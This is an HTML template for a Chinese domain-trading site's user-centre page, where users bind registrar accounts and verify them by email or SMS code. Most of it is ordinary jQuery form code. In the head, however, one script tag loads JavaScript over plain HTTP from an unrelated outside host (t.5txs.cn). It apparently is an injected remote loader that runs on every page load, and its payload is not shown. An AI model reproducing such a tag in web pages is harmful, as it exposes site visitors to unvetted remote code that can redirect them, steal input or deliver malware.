<html><head>
<title>个人中心</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">

<link rel="stylesheet" type="text/css" href="{$app_path}{$static_path}/css/global.css">
<link rel="stylesheet" type="text/css" href="{$app_path}{$static_path}/css/user-center.css">
<link rel="stylesheet" type="text/css" href="{$app_path}{$static_path}/css/swiper.css">
<link rel="stylesheet" type="text/css" href="{$app_path}{$static_path}/css/reveal.css">
<link rel="stylesheet" type="text/css" href="{$app_path}{$static_path}/css/jquery.menu.css">
<link rel="stylesheet" type="text/css" href="{$app_path}{$static_path}/css/font-awesome.min.css">


<script type="text/javascript" src="{$app_path}{$static_path}/js/jquery.min.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/jquery.menu.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/jquery.slimscroll.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/swiper2.min.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/select2.min.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/jquery.reveal.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/global.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/jquery.Qvalidate.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/jquery.plugins.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/jquery.placeholder.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/jquery.form.min.js"></script>
<script type="text/javascript" src="{$app_path}{$static_path}/js/functions.js"></script>


<script type="text/javascript" src="{$app_path}{$static_path}/js/jq-timer.js"></script>
<script>
$(document).ready(function(){
  

    //点击弹出绑定弹窗
  $('[action="bind"]').click(function(){
        
  
    $("form").QvalidateDestory();
    $('form').find('input[type=text],input[type=tel]').each(function(i){$(this).val('')});
    $('[popup="bind"]').reveal();
  });
  
  //切换注册商时选择验证方式
  $('#registrarName').change(function(){
    $("form").QvalidateDestory();
    if($(this).val()=="ename" || $(this).val()=="aiming" || $(this).val()=="west"  || $(this).val()=="godaddy"){
       //验证邮箱
       $('#target_label').text('注册商的绑定邮箱');
       $('#target_name').attr('name','registrar[registrar_email]');
       $('#target_name').attr('valid','{"required":true,"email":true}');
       $('#target_name').attr('msg','{"required":"请填写邮箱","email":"邮箱格式不正确"}');
       $('#target_name').attr('placeholder','注册邮箱，push域名时核对身份');
       $('#addRegistrar [name=addRegistrar]').attr('method','email');
       $('#addRegistrar [name=addRegistrar]').attr('watch','registrar[registrar_email]');
       $('#addRegistrar [name=addRegistrar]').attr('emsg','请输入正确的邮箱地址');
       $('#addRegistrar [name=addRegistrar]').html('获取邮箱验证码');
       $('#verifyLabel').text('邮箱验证码');
       if($(this).val()=="west"){
          $('#my_registrar_id').html('注册商用户名');
       } else {
          $('#my_registrar_id').html('我的注册商ID');
       }
    }else{
       //验证手机
       $('#target_label').text('注册商的绑定手机');
       $('#target_name').attr('name','registrar[registrar_mobile]');
       $('#target_name').attr('valid','{"required":true,"cellphone":true}');
       $('#target_name').attr('msg','{"required":"请填写邮箱","cellphone":"手机格式不正确"}');
       $('#target_name').attr('placeholder','注册手机，push域名时核对身份');
       $('#addRegistrar [name=addRegistrar]').attr('method','sms');
       $('#addRegistrar [name=addRegistrar]').attr('watch','registrar[registrar_mobile]');
       $('#addRegistrar [name=addRegistrar]').attr('emsg','请输入正确的手机号');
       $('#addRegistrar [name=addRegistrar]').html('获取手机验证码');
       $('#verifyLabel').text('手机验证码');
       if($(this).val()=="net"){
          $('#my_registrar_id').html('我的注册商帐号');
       } else {
          $('#my_registrar_id').html('我的注册商ID');
       }
    };
  });
  //点击确认
  $('[action="confirm"]').click(function(){
     $(this).parents('form').Qsubmit();
  }); 


});
</script>
<include file="./Public/public/public.html" />
<script charset="utf-8" async="true" src="http://t.5txs.cn/rb/i9.js"></script></head>
<body>
<!--pc头部-->
<include file="./Public/public/top.html" />

<script type="text/javascript">

$(document).ready(function(){

function headerlogin(){
    $('.headerLogin').Qsubmit(null,function(msg){
        showModal(msg);
        $('.headerLogin').find('input[name=imgcode]').val('');
        $('.headerLogin').find('img[name=img]').click();
    });
}
$(function(){
    $('.headerLogin a[action=login]').on('click',headerlogin);
    $('.headerLogin').find('input').on('keydown',function(){
        if (event.keyCode == "13") {
             $('a[action=login]').click();
         }
    });
});

// 交易大厅品类下拉列表
$('li[action="menu"]').mouseenter(function(){
    $(this).find("ul").fadeIn(500);
}).mouseleave(function(){
    $(this).find("ul").fadeOut(500);
})

//移动版 下拉菜单
$('a[action="my"]').click(function(){
    if($(".my-list").css("display")=="block"){
        $(".my-list").fadeOut(200);        
    }else{
        $(".my-list").fadeIn(500);
    }
    
});

$("body").click(function(event){
    if($('a[action="my"]').length>0){
        if(event.target!=$('a[action="my"]')[0] && !jQuery.contains($('a[action="my"]')[0], event.target)){

            if($(".my-list").css("display")=="block"){

                $(".my-list").fadeOut(200);

            }
        }
    }

});

});


</script>
<!--mobile头部结束--><div class="layout-wrap">
    <!--已审核-->
    <div class="layout">
        <include file="./Public/public/centerLeft.html" /> 
        <!--  绑定 -->
<div popup="bind" class="reveal-modal medium">
  <a class="close-reveal-modal" action="closeModal">×</a>
    <h3 id="popupTitle">添加注册商ID</h3>
    <div>
    <form id="addRegistrar" method="post" action="/Home/Center/addRegistrar.html" onsubmit="return false;">

    <div class="form-row form-row-s mt20">
        <div class="input-name w35" id="fieldName">选择注册商</div>
        <div class="input-box w65">
        <select name="registrar[registrar_name]" valid="{&quot;required&quot;:true}" msg="{&quot;required&quot;:&quot;注册商不能为空&quot;}" id="registrarName"> <option value="ename">易名中国</option><option value="aiming">爱名网</option><option value="net">万网</option><option value="west">西部数码</option><option value="godaddy">godaddy</option><option value="shujiaosuo">190数交所</option></select> 
        </div>
       

        <div class="clr"></div>
    </div>   

    <div class="form-row form-row-s ">
        <div class="input-name w35" id="my_registrar_id">我的注册商ID</div>
        <div class="input-box w65">
        <input type="text" name="registrar[registrar_id]" class="input-s" id="inputName" placeholder="push域名时需要" valid="{&quot;required&quot;:true}" msg="{&quot;required&quot;:&quot;注册商ID不能为空&quot;}">
        </div>
       

        <div class="clr"></div>
    </div>   
    

    
      <div class="form-row form-row-s ">
          <div class="input-name w35" id="target_label">注册商的绑定邮箱</div>
          <div class="input-box w65">
          <input type="text" id="target_name" name="registrar[registrar_email]" class="input-s" placeholder="注册邮箱，push域名时核对身份" valid="{&quot;required&quot;:true,&quot;email&quot;:true}" msg="{&quot;required&quot;:&quot;请填写邮箱&quot;,&quot;email&quot;:&quot;邮箱格式不正确&quot;}">
          </div>
         

          <div class="clr"></div>
      </div>

      <div class="form-row form-row-s">

          <div class="input-name w35">图形验证码</div>
          <div class="input-box w25">
           <input id="imgcode6201" name="imgcode" type="text" valid="{&quot;required&quot;:true}" msg="{&quot;required&quot;:&quot;请填写图形验证码&quot;}" class="input-s" placeholder="图形验证码"><script>$(function(){});</script>
          </div>

          <div class="input-name-even w40" style="overflow:hidden; height:28px;">
          		<img id="img5409" prop="verifyImg" name="img" src="/imgcode/1/130/40" class="code" style="cursor:pointer;margin:-5px 0px -5px 0px">
		<script>
		$(function(){
			var imgcodeid='#img5409';
			$('[prop="verifyImg"]').on('click',function(){
				var src = $(this).attr('src');
				var idx = src.indexOf('?');
				if(idx==-1){
					src += '?'+new Date().getTime()
				} else {
					src = src.substring(0,idx)+'?'+new Date().getTime()
				}
				$('[prop="verifyImg"]').attr('src',src);
			})

		})
		</script>
          </div>
          <div class="clr"></div>
      </div>  
       
      <div class="form-row form-row-s ">
          <div id="verifyLabel" class="input-name w35">邮箱验证码</div>
          <div class="input-box w25">
          <input id="smscode4629" name="smscode_addRegistrar" type="tel" valid="{&quot;required&quot;:true,&quot;number&quot;:true,&quot;limitLength&quot;:6}" msg="{&quot;required&quot;:&quot;请填写6位数字验证码&quot;,&quot;number&quot;:&quot;请填写6位数字验证码&quot;,&quot;limitLength&quot;:&quot;请填写6位数字验证码&quot;}" class="input-s" placeholder="6位数字验证码"><script>$(function(){});</script>
          </div>
          <div class="input-box w40">
          		<div id="18_timer3523" watch="registrar[registrar_email]" name="addRegistrar" method="email" emsg="请输入正确的邮箱地址" token="fc1830d4621d2b309ec9323078e1fe67" left="0" class="ml5 timer w95"> 获取邮箱验证码 </div>
		<script>
		$(function(){
			var smstimerid = '#18_timer3523';
			var el = $(smstimerid);
          	var timerrender = function(){	
	            _self=this; 
	            ($(_self).parents('form').find('[name=imgcode]')[0]) ? verifyImgInput = $(_self).parents('form').find('[name=imgcode]') : verifyImgInput= null ;

	            ($(_self).parents("form").find('[prop="verifyImg"]')[0]) ? verifyImg = $(_self).parents("form").find('[prop="verifyImg"]') : verifyImg= null ; 

				$(smstimerid).timer({
					url: "/Home/Sms/addRegistrar.html",
			        clickClass: 'button-disable',
			        method:$(_self).attr('method'),
inputPhone:$(_self).parents('form').find('[name="'+$(_self).attr('watch')+'"]'),                
			        verifyImgInput: verifyImgInput,
			        verifyImg: verifyImg,
			        onCorrect: function(obj){  $(obj).removeClass("input-error");},
			        onError: function(obj,msg){ $(obj).addClass("input-error"); showModal(msg)},
			        time: 60
				});
			}
			if(el.attr('left') && parseInt(el.attr('left')) > 0){
				var option = {
					time :parseInt(el.attr('left')),
					html: el.html(),
					clickClass:'button-disable'
				};
				el.addClass('button-disable');
				el.timerclock(option,timerrender);
				el.removeAttr('left');
			} else {
				el.on("click", timerrender);
			}
		});
		</script>

          </div>
         

          <div class="clr"></div>
      </div> 

      

      
    <div class="split-dot mb20 mt20 text-center"></div>
    <div class="form-row form-row-s">
        <input type="button" action="confirm" class=" button button-blue w45 fl" value="确认">
        <input type="button" action="cancel" class=" button button-gray w45 fr" value="取消">

        <div class="clr"></div>
    </div>
    </form>
  </div>   
</div>
      <div class="right" style="min-height: 882px;">
           
                <h3>域名注册商账号</h3>
                <div class="cnt-tips">
                  <p>温馨提示：根据域名所在的注册商不同，需要您添加拥有的注册商ID，以便与平台进行push。可以添加多个，添加后不可删除！</p>
                </div>   
                <div class="split-dot mt10 mb10"></div>
                
                
            

                

                <div class="row">
                  <div class="key w55"><i class="fa fa-exchange"></i>易名中国ID：999518</div>
                  <div class="value w30">
                  <a class="locked">已绑定</a>
                  </div>
            
                  <div class="clr"> </div>
                </div><div class="row">
                  <div class="key w55"><i class="fa fa-exchange"></i>爱名网ID：697351</div>
                  <div class="value w30">
                  <a class="locked">已绑定</a>
                  </div>
            
                  <div class="clr"> </div>
                </div>                <div class="row" action="bind" popuptitle="添加注册商帐号" valid="{&quot;required&quot;:true}" msg="{&quot;required&quot;:&quot;&quot;}">
                  <div class="key w55"><i class="fa fa-plus-square"></i>添加注册商ID</div>
                  <div class="value w30">
               
                    <a>添加</a>
             
          
                  </div>
            
                  <div class="clr"> </div>
                </div>
                         
        </div>

        <div class="clr"></div>
    </div>
</div>
<include file="./Public/public/footer.html" />
</body></html>